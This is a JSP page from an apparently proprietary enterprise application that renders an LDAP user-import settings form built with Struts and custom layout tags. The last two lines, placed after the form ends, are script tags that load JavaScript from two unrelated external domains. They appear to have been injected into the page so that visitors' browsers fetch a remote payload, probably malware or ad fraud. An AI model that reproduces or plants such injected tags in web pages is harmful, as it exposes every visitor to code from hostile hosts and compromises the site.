<%
/*
 * @(#)LDAPImport.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  LDAPImport.jsp

  This class is reflecting business logic uses.

    @author           Charlie liu
    @company          DCIVision Limited
    @creation date    15/12/2004
    @version          $Revision: 1.9.2.11 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String returnURL = "SelectSource.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>

<html:form action="user/LDAPImport.do?navMode=N" >
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<layout:tabContainer id="tab1">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
    </layout:tabBar>

    <!-- Basic Tab DIV -->
    <div id="basicTab" class="tabContent">
    <div id="formContainer" style="border-left:0px solid #bfbfbf; border-right:0px solid #bfbfbf;">
        <table width="100%">
            <layout:sectionHeader name="user.label.ldap_import_settings"/>
            <tr>
                <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key='user.label.ldap_import_type'/>:&nbsp;</td>
                <td class="formFieldSmall" >
                    <html:radio property="createUserFlag" value="Y"><bean:message key='user.label.ldap_import_create_userrecord'/></html:radio>
                    <html:radio property="createUserFlag" value="N"><bean:message key='user.label.ldap_import_update_userrecord'/></html:radio>
                </td>
            </tr>
            <tr>
                <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key='user.label.ldap_import_user_group_type'/>:&nbsp;</td>
                <td class="formFieldSmall" >
                    <html:radio property="createUserGroupFlag" value="Y"><bean:message key='user.label.ldap_import_create_usergroup'/></html:radio>
                    <html:radio property="createUserGroupFlag" value="N"><bean:message key='user.label.ldap_import_update_usergroup'/></html:radio>
                </td>
            </tr>
            <tr>
                <td colspan="2" align="center"><html:img src='Spacer.gif' width='1' height='10'/></td>
            </tr>
        </table>
        </div>
    </div>
<script language='javascript'>
<!--
  var minimum_height = '<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>';
	SetDivHeight('heightHolder', 'formContainer',minimum_height);
-->
</script>
</layout:tabContainer>

<div id="bottomButtonArea">
    <div id="buttonSection">
    <html:permissionButton functionCode="STP_IMPORT_DATA" right="P" label="common.label.import" onClick="return OpSave();"/>
    </div>
</div>
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>